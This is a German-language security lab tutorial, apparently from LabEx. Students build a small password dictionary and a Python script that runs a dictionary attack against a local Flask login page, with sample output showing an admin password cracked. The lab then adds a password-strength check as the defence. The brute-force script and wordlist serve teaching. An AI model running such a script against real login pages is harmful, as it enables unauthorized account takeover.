In diesem Lab übernehmen Sie die Rolle eines Sicherheitsforschers, der mit der Prüfung der Passwortsicherheit einer Webanwendung betraut ist. Sie werden die Schwachstellen schwacher Passwörter erkunden und Techniken kennenlernen, die zum Knacken dieser Passwörter eingesetzt werden. Diese praktische Erfahrung wird Ihnen Einblicke in Angriffstechniken sowie in die Wichtigkeit solider Verteidigungsmaßnahmen in der Cybersicherheit geben.
Erkundung der Zielwebsite
In diesem Schritt werden wir Informationen über unsere Zielwebsite sammeln, was eine entscheidende erste Phase bei jeder Sicherheitsbewertung ist.
Öffnen Sie Ihren Webbrowser und navigieren Sie zu http://localhost:8080/. Sie können dies tun, indem Sie auf die Registerkarte Web 8080 in der LabEx-Umgebung klicken.
Hinweis: In der LabEx-Virtual Machine läuft der Webserver auf einem temporären öffentlichen Netzwerk. Das bedeutet, dass der Domainname, den Sie sehen, möglicherweise nicht "localhost" sondern eine tatsächlich erreichbare Domain ist. Dies ist normal und beeinträchtigt die Lab-Übung nicht.
Untersuchen Sie das Anmeldeformular sorgfältig. Notieren Sie sich Folgendes:
Die Website erfordert sowohl einen Benutzernamen als auch ein Passwort.
Es gibt keine sichtbaren Hinweise auf gültige Benutzernamen oder Passwortanforderungen.
Versuchen Sie, sich mit ein paar zufälligen Kombinationen von Benutzernamen und Passwörtern anzumelden. Beispielsweise:
Benutzername: test, Passwort: password123
Benutzername: admin, Passwort: admin
Benutzername: user, Passwort: 12345
Für jeden Versuch sollten Sie eine Meldung "Ungültiger Benutzername oder Passwort" erhalten.
Basierend auf Ihren Beobachtungen können wir einige fundierte Vermutungen über das Anmeldesystem machen:
Es wird nicht offenbart, ob ein Benutzername existiert oder nicht. Dies ist eine gute Sicherheitsmaßnahme, da keine Informationen über gültige Konten preisgegeben werden.
Es gibt keine offensichtliche Begrenzung der Anzahl der Anmeldeversuche. In einer realen Welt könnte dies eine Schwachstelle darstellen, die unbegrenztes Passwortraten ermöglicht.
Diese erste Erkundung hilft uns, das System zu verstehen, mit dem wir es zu tun haben, und gibt uns Anhaltspunkte für unsere nächsten Schritte beim Versuch, die Passwörter zu knacken.
Erstellen eines Passwort-Wörterbuchs
Nachdem wir Informationen über das Anmeldesystem gesammelt haben, erstellen wir nun ein Wörterbuch mit potenziellen Passwörtern. Dies ist eine gängige Technik bei Passwort-Knackversuchen.
Öffnen Sie das Terminal auf dem Desktop.
Geben Sie im Terminal den folgenden Befehl ein, um die Datei passwords.txt zu erstellen und zu befüllen:
Dieser Befehl nutzt eine Technik namens "Here Document" in bash. Sie ermöglicht es uns, eine Datei mit mehreren Textzeilen in einem einzigen Befehl zu erstellen. So funktioniert es:
cat << EOF > filename: Dies teilt dem System mit, dass es all den Text bis zu dem Punkt, an dem es "EOF" (End Of File) sieht, nehmen und in die angegebene Datei schreiben soll.
Der Text zwischen dem ersten EOF und dem zweiten EOF ist der Inhalt, der in die Datei geschrieben wird.
Das letzte EOF markiert das Ende des zu schreibenden Texts.
Nachdem Sie diesen Befehl ausgeführt haben, haben Sie eine Datei namens passwords.txt im Verzeichnis ~/project/password_lab/ erstellt, die eine Liste häufig verwendeter (und daher schwacher) Passwörter enthält.
In einer realen Welt würden Angreifer möglicherweise viel größere Wörterbücher verwenden, die oft Millionen von Passwörtern enthalten. Diese könnten Folgendes umfassen:
Häufig verwendete Passwörter
Wörter aus mehreren Sprachen
Variationen von Wörtern (z.B. "password1", "p@ssword", "password123")
Ausgesickerte Passwörter aus früheren Datenschutzverletzungen
Das Erstellen und Verwenden solcher Wörterbücher für unbefugten Zugang ist illegal und unethisch. Wir verwenden dieses kleine Wörterbuch nur zu Bildungszwecken, um zu verstehen, wie diese Angriffe funktionieren und wie man sich dagegen schützen kann.
Schreiben des Passwort-Knackskripts
Nachdem wir unser Passwort-Wörterbuch erstellt haben, erstellen wir nun ein Python-Skript, um den Prozess des Testens dieser Passwörter an unserer Zielwebsite zu automatisieren.
Öffnen Sie das Terminal auf dem Desktop, falls es noch nicht geöffnet ist.
Geben Sie den folgenden Befehl ein, um eine neue Datei namens password_cracker.py im Nano-Texteditor zu öffnen:
nano ~/project/password_lab/password_cracker.py
Kopieren Sie den folgenden Python-Code und fügen Sie ihn in den Nano-Editor ein:
import requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()
Speichern Sie die Datei und verlassen Sie Nano, indem Sie Strg+X drücken, dann Y und schließlich Enter.
Lassen Sie uns analysieren, was dieses Skript tut:
Die Funktion crack_password:
Nimmt einen Benutzernamen und eine Liste von Passwörtern als Eingabe.
Sendet für jedes Passwort eine POST-Anfrage an die Anmeldeseite mit dem Benutzernamen und dem Passwort.
Wenn die Antwort "Login successful!" enthält, wird eine Erfolgsmeldung ausgegeben.
Andernfalls wird eine Fehlermeldung ausgegeben.
Es wird eine kleine Verzögerung (0,1 Sekunden) zwischen den Versuchen eingefügt, um den Server nicht zu überlasten.
Die Funktion main:
Definiert eine Liste von gängigen Benutzernamen, die getestet werden sollen.
Liest die Passwörter aus unserer passwords.txt-Datei.
Ruft für jeden Benutzernamen die Funktion crack_password mit der Liste der Passwörter auf.
Dieses Skript automatisiert den Prozess des Ausprobierens vieler Benutzername- und Passwortkombinationen, ähnlich wie ein Angreifer es bei einem Versuch, in ein System einzudringen, tun würde. Es ist jedoch wichtig zu beachten, dass die unbefugte Verwendung solcher Techniken illegal und unethisch ist. Wir verwenden dieses Skript nur zu Bildungszwecken, um zu verstehen, wie diese Angriffe funktionieren und wie man sich dagegen schützen kann.
Ausführen des Passwort-Knackskripts
Nachdem wir unser Passwort-Knackskript erstellt haben, führen wir es aus und analysieren die Ergebnisse.
Navigieren Sie im Terminal zum Verzeichnis, das unser Skript enthält:
cd ~/project/password_lab
Führen Sie das Skript mit dem folgenden Befehl aus:
python password_cracker.py
Beobachten Sie die Ausgabe genau. Das Skript wird versuchen, die Passwörter für mehrere gängige Benutzernamen zu knacken. Sie sollten eine Ausgabe ähnlich der folgenden sehen:
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
Analysieren Sie die Ausgabe:
Welche Passwörter wurden erfolgreich geknackt?
Für welche Benutzernamen?
Wie viele Versuche waren erforderlich, bevor ein korrektes Passwort gefunden wurde?
Warum denken Sie, dass einige Passwörter geknackt wurden, während andere nicht?
Diese Übung zeigt, wie schwache Passwörter mithilfe von gängigen Wörtern oder Mustern leicht erraten werden können. In diesem Fall war "admin" mit dem Passwort "supersecret123" anfällig für unseren Wörterbuchangriff.
Es ist wichtig zu verstehen, dass obwohl dieses Skript in dieser kontrollierten Umgebung erfolgreich war, der Versuch, solche Techniken gegen reale Systeme ohne ausdrückliche Genehmigung anzuwenden, illegal und unethisch ist. Dieses Wissen sollte verwendet werden, um Schwachstellen zu verstehen und die Sicherheit zu verbessern, nicht um Systeme auszunutzen.
Verbesserung der Passwortsicherheit
Nachdem wir einige Passwörter erfolgreich geknackt haben, setzen wir nun bessere Passwortrichtlinien um, um solche Angriffe zu verhindern.
Öffnen Sie die Registerkarte WebIDE in der LabEx-VM. WebIDE ist eine webbasierte integrierte Entwicklungsumgebung (Integrated Development Environment, IDE), die es Ihnen ermöglicht, Code direkt in Ihrem Browser zu schreiben, auszuführen und zu debuggen. Sie ähnelt dem VS Code-Editor, läuft jedoch im Browser. WebIDE eignet sich gut für die Bearbeitung längerer Code-Dateien.
Klicken Sie im Dateiexplorer auf der linken Seite des Bildschirms auf die Datei app.py, um sie im Editor zu öffnen.
Fügen Sie die folgende Funktion nach dem users-Dictionary hinzu, um Passwortstärke-Prüfungen umzusetzen:
import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True
Diese Funktion prüft, ob ein Passwort:
Mindestens 12 Zeichen lang ist
Mindestens einen Großbuchstaben enthält
Mindestens einen Kleinbuchstaben enthält
Mindestens eine Ziffer enthält
Mindestens ein Sonderzeichen enthält
Fügen Sie nun eine neue Route für die Benutzerregistrierung hinzu, die diese Passwortrichtlinie umsetzt. Fügen Sie diesen Codeblock vor der Zeile if __name__ == '__main__': hinzu:
Dieser Code erstellt eine neue Route für die Benutzerregistrierung. Er prüft, ob das eingegebene Passwort unseren Kriterien für starke Passwörter entspricht, bevor ein neuer Benutzer erstellt wird.
Speichern Sie die Änderungen in der WebIDE.
Starten Sie nun die Flask-Anwendung neu, um diese Änderungen anzuwenden. Öffnen Sie ein Terminal und führen Sie aus:
Navigieren Sie zur Registerkarte Web 8080 und fügen Sie /register zur URL hinzu, um das neue Registrierungsformular zu erreichen:
Versuchen Sie, ein neues Konto mit einem schwachen Passwort (z.B. "password123") zu registrieren. Beobachten Sie, wie die Anwendung die neue Passwortrichtlinie durchsetzt.
Registrieren Sie nun ein neues Konto mit einem starken Passwort, das allen Kriterien entspricht. Beispielsweise:
Benutzername: labex
Passwort: S3cureP@ssw0rd-2024
Dieses Passwort erfüllt alle unsere Anforderungen: Es ist länger als 12 Zeichen, enthält Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen.
Nachdem Sie sich erfolgreich registriert haben, testen wir unser Passwort-Knackskript gegen dieses neue, starke Passwort. Ändern Sie das Skript password_cracker.py:
Öffnen Sie das Terminal und geben Sie ein:
nano ~/project/password_lab/password_cracker.py
Suchen Sie die Zeile, die usernames = ['admin', 'user', 'root', 'administrator', 'webmaster'] sagt.
Ersetzen Sie sie durch usernames = ['labex']
Führen Sie das geänderte Skript aus:
python ~/project/password_lab/password_cracker.py
Beobachten Sie, dass das Skript das neue, starke Passwort nicht knacken kann. Dies zeigt die Wirksamkeit der Umsetzung starker Passwortrichtlinien.
Zusammenfassung
In diesem Lab haben Sie den Prozess des ethischen Hackens und der Passwortsicherheitsprüfung kennengelernt. Hier ist eine Zusammenfassung dessen, was Sie erreicht haben:
Recherche (Reconnaissance): Sie haben eine Anmeldeseite untersucht und Informationen über ihr Verhalten und potenzielle Schwachstellen gesammelt. Dieser Schritt imitiert, wie ein Sicherheitsforscher oder Angreifer die Untersuchung eines Zielsystems beginnen könnte.
Erstellung eines Passwort-Wörterbuchs: Sie haben eine Liste von gängigen Passwörtern erstellt und damit die Wörterbücher nachgeahmt, die in realen Passwort-Knackversuchen verwendet werden. Dies hat die Schwachstelle aufgezeigt, die mit der Verwendung von gängigen oder schwachen Passwörtern verbunden ist.
Automatisiertes Passwort-Knacken: Sie haben ein Python-Skript geschrieben und ausgeführt, um den Prozess des Testens mehrerer Benutzername- und Passwortkombinationen zu automatisieren. Dies hat gezeigt, wie Angreifer versuchen könnten, in ein System einzudringen, und wie schnell schwache Passwörter kompromittiert werden können.
Analyse der Ergebnisse: Sie haben Ihr Passwort-Knackskript ausgeführt und die Ergebnisse analysiert, um zu verstehen, welche Passwörter anfällig waren und warum. Dieser Schritt hat die Wichtigkeit der Verwendung von starken, einzigartigen Passwörtern betont.
Umsetzung von Sicherheitsmaßnahmen: Schließlich haben Sie die Sicherheit der Webanwendung verbessert, indem Sie starke Passwortrichtlinien und ein sicheres Registrierungssystem implementiert haben. Dies hat gezeigt, wie geeignete Sicherheitsmaßnahmen gewöhnliche Angriffe effektiv verhindern können.